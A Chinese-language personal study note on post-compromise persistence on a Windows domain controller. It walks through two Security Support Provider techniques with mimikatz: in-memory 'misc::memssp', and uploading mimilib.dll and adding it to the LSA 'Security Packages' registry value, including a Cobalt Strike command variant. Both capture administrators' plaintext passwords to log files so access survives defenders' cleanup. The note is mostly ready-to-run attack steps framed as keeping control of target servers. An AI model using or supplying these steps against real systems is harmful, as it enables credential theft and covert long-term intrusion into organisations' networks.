用途:个人学习笔记,有所借鉴,欢迎指正! 欢迎新朋友
前言:
很多时候拿下了一台服务器权限后,可能过几天就会无法控制,因为企业都会有专业人士定期查杀后门、杀毒检测、漏洞修复等,所以可能很快就会失去控制权限,而权限维持的目的是保证自己的权限不会掉,一直能够控制目标服务器。
以下是基于得到域控主机权限的情况下进行权限维持:
一、基于验证DLL加载—SSP
SSP—Security Support Provider
,直译为安全支持提供者,又名Security Package
。简单的理解为SSP
就是一个DLL
,用来实现身份认证,并且维持系统权限。
1、方法一:临时生效(未重启情况生效)
(1)、 执行相关命令
这里可以使用mimikatz
进行命令执行,该命令是一次性的,所谓的一次性就是当这台服务器重启后,那么这条命令就无法再次执行了,相当于重启即失效。
privilege::debug
misc::memssp
(2)、等待域控管理员重新登录或切换用户
当管理员重新登录或切换用户后,可以看到在下述的文件路径中获取到了登陆的账号密码。
C:\Windows\System32\mimilsa.log ##文件位置。
2、方法二:永久生效(重启后生效)
这个操作需要修改注册表的值,可远程登录目标服务器执行相关命令,也可在CS中执行命令
(1)、 上传特殊的dll文件
mimikatz中的mimilib.dll上传到域控的C:\windows\system32\目录下。
(2)、执行相关命令
#查看当前注册表中的设置值
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
#修改注册表中的值
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ#CS中修改注册表中的值
shell echo yes | reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
(3)、等待服务器重启生效
上述命令执行完后会在注册表中添加一个mimilib也就是会调用mimilib.dll,要注意在mimilib.dll前面有一个\0是换行。并且在重启后会在C:\windows\system32\kiwissp.log记录账号密码。
3、总结
两种方法都是盗取身份认证文件,便于长久访问的权限维持,第一种方法重启后失效,第二种方法重启后才生效,各有各的好处,所以可以配合使用。